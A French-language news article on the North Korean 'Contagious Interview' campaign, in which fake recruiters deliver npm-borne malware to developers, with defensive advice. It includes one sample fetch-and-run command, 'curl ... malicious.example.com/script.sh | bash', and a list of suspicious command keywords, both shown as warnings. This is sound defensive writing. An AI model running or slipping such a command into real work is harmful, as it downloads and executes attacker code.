Campagne Contagious Interview : comment le groupe nord-coréen WaterPlum piège les développeurs via de fausses offres d'emploi

Plus de 30 000 ordinateurs infectés dans plus de 100 pays, environ 10,7 millions de dollars de cryptomonnaies dérobés : la campagne Contagious Interview a frappé massivement les professionnels de l’informatique depuis 2025. Le 18 septembre 2026, les autorités du Japon, des États-Unis, de l’Australie et de l’Allemagne ont publié une mise en garde conjointe attribuant cette opération au groupe nord-coréen désigné sous le nom de WaterPlum. Cette offensive ciblant les développeurs, spécialistes blockchain et designers web via de fausses offres d’emploi illustre une évolution préoccupante des menaces étatiques. Dans cet article, nous décryptons le mode opératoire, les familles de malware employées et les mesures concrètes à adopter pour se protéger.

Une campagne attribuée conjointement par quatre pays au groupe WaterPlum

L’avis conjoint, signé par la police nationale japonaise, le FBI, le centre de cybercriminalité du département de la Défense américain, l’Australian Cyber Security Centre (ACSC) ainsi que les services de renseignement allemands BND et BfV, formalise l’attribution de la campagne Contagious Interview au groupe WaterPlum. Ce dernier opère sous la direction du 313e Bureau général du département de l’industrie de l’armement nord-coréen, organe chargé de la production d’armes. En qualifiant ces vols de génération de revenus pour l’État, les signataires sortent cette menace du simple cadre de la cybercriminalité pour la placer dans celui du financement du régime.

Selon les données collectées, plus de 30 000 machines ont été compromises à travers le monde, et la valeur totale des cryptomonnaies détournées atteint 1,7 milliard de yens (environ 10,7 millions de dollars). La période la plus active se situe entre décembre 2025 et juillet 2026, avec près de 7 000 cas de portefeuilles de cryptomonnaies recensés par la police japonaise. Ces chiffres démontrent l’ampleur d’une opération qui cible avant tout les individus, et non les entreprises.

« L’objectif est d’infiltrer les réseaux informatiques de chercheurs d’emploi peu méfiants, de collecter des informations sensibles et de voler des cryptomonnaies. » - Extrait de l’avis conjoint.

Les familles de malware déployées

Cinq familles de malware ont été identifiées dans le cadre de cette campagne. Elles opèrent en plusieurs étapes :

1. BeaverTail : un infostealer JavaScript dissimulé dans des paquets npm.
2. InvisibleFerret : une backdoor Python.
3. OtterCookie : un cheval de Troie d’accès distant (RAT) JavaScript doté de fonctions de vol.
4. OtterCandy : une variante fusionnant OtterCookie avec la famille RATatouille.
5. StoatWaffle : un chargeur Node.js modulaire combinant récolte d’identifiants et RAT.

Ces programmes malveillants siphonnent identifiants, contenu du presse-papiers, frappes clavier, captures d’écran, clés de portefeuilles, seed phrases, documents d’identité et codes source. Leur présence simultanée offre aux opérateurs un contrôle quasi total de la machine cible.

De fausses offres d’emploi comme vecteur d’infection

L’originalité de Contagious Interview réside dans son vecteur : les attaquants se font passer pour des recruteurs de sociétés d’IA, de cryptomonnaies ou de NFT. Ils approchent les développeurs, web designers et spécialistes blockchain via les réseaux sociaux, les plateformes de freelance ou les sites d’emploi. Le scénario est toujours le même : une offre alléchante pour un poste technique bien rémunéré.

Lors de l’étape de l’entretien technique, le candidat est invité à exécuter un exercice de codage ou à résoudre un problème de visioconférence. Ce prétexte permet de livrer le malware, généralement par l’intermédiaire de paquets npm malveillants hébergés sur GitHub ou Bitbucket. La confiance naturelle du développeur envers les dépôts publics et la chaîne d’outils ouverte est ainsi exploitée.

« Les opérateurs utilisent des documents d’identité volés et des serveurs privés virtuels pour masquer leur localisation, travaillant depuis la Corée du Nord, la Chine, la Russie, l’Afrique et l’Asie du Sud-Est. » - Extrait de l’avis conjoint.

Un exemple concret côté français

Prenons un cas typique pour le marché français : un développeur lyonnais spécialisé en blockchain reçoit une offre de poste pour une start-up NFT basée à l’étranger via LinkedIn. Après un échange encourageant, on lui demande de réaliser un test technique à partir d’un dépôt GitHub. En exécutant le projet, il active sans le savoir un infostealer qui dérobe ses clés de portefeuille Ethereum. Le recruteur fictif disparaît, et les fonds sont rapidement transférés via des mixeurs.

Cette réalité, observée à l’échelle mondiale, montre que les profils techniques français sont tout autant exposés que leurs homologues américains ou asiatiques. L’absence de méfiance envers la procédure de recrutement constitue la faille principale.

Le lien avec le programme de travailleurs informatiques nord-coréens

La mise en garde associe explicitement la campagne Contagious Interview au programme nord-coréen de travailleurs informatiques détachés. Du point de vue de l’employeur, le même dispositif sert à générer des revenus : les opérateurs utilisent des identités volées et des VPN pour se faire embaucher à distance, tandis que des laptop farms - ordinateurs loués dans des logements de complices - fournissent des adresses IP locales crédibles.

Lorsque la relation tourne mal, les agents n’hésitent pas à recourir à l’extorsion, à la dégradation de sites web ou à la publication de code source volé. Les enquêteurs japonais ont démantelé une laptop farm sur leur territoire et retracé plusieurs centaines de millions de yens à l’étranger. La dimension étatique est ici évidente : il ne s’agit pas simplement de voler, mais de financer le régime.

Les risques de non-conformité pour les entreprises

Les entreprises qui embauchent sans vérification rigoureuse s’exposent à des sanctions pour non-respect des embargos. Le département d’État américain a émis une alerte dès juillet 2026, et le ministère de la Justice a déjà engagé des poursuites contre des facilitateurs. La conformité impose des contrôles contractuels et une vérification d’identité renforcée, au-delà de la simple détection technique.

Tableau comparatif des familles de malware de Contagious Interview

Recommandations pour les professionnels de la cybersécurité

Face à cette menace, les autorités diffusent des conseils pratiques que tout professionnel du secteur devrait appliquer.

Mesures défensives pour les développeurs

• Exécuter tout code non fiable exclusivement dans une machine virtuelle ou un environnement isolé.
• Traiter avec une extrême méfiance les commandes contenant curl, base64, -enc, mshta ou Invoke-WebRequest.
• Ouvrir les projets inconnus dans le mode restreint de Visual Studio Code et inspecter le fichier .vscode/tasks.json avant l’exécution.
• Après une infection avérée, considérer toutes les identifiants comme compromises, réinitialiser les portefeuilles depuis un appareil sain et réinstaller complètement le système.

Vigilance pour les recruteurs et employeurs

• Vérifier que l’adresse IP du candidat correspond à son lieu déclaré.
• Se méfier d’un refus de rencontre en personne, de gel fréquent de l’audio ou de la vidéo, ou de l’utilisation de logiciels de face-swapping.
• Exiger une pièce d’identité officielle et recouper les informations via des sources indépendantes.

« Les entreprises qui paient involontairement un contractant nord-coréen risquent des sanctions, ce qui pousse les autorités à recommander des contrôles contractuels et une vérification d’identité, et non la seule détection. »

Code suspect à ne jamais exécuter

curl -s http://malicious.example.com/script.sh | bash

Toute ligne de commande qui télécharge et exécute du code en une seule opération doit être immédiatement considérée comme dangereuse. Les attaquants dissimulent souvent ce motif dans des instructions d’installation ou de test.

Conclusion : un signal fort pour la coopération internationale

L’attribution conjointe de la campagne Contagious Interview au groupe WaterPlum marque une étape importante dans la lutte contre les menaces étatiques ciblant les professionnels de l’informatique. En reliant cette opération aux programmes de travailleurs détachés de la Corée du Nord, les quatre pays soulignent la nécessité d’une approche globale : technique, juridique et diplomatique.

Pour les développeurs français et les entreprises du secteur, la vigilance ne doit pas se relâcher. Vérifier systématiquement la légitimité des offres d’emploi, isoler les environnements de test et appliquer les recommandations des agences de cybersécurité sont les premières lignes de défense. Les prochains mois seront décisifs : les sanctions pourraient se durcir, les plateformes d’hébergement de code renforceront-elles leurs contrôles ? Une chose est sûre : la campagne Contagious Interview a ouvert une nouvelle voie d’attaque que d’autres groupes pourraient emprunter.

Restez informé, restez protégé.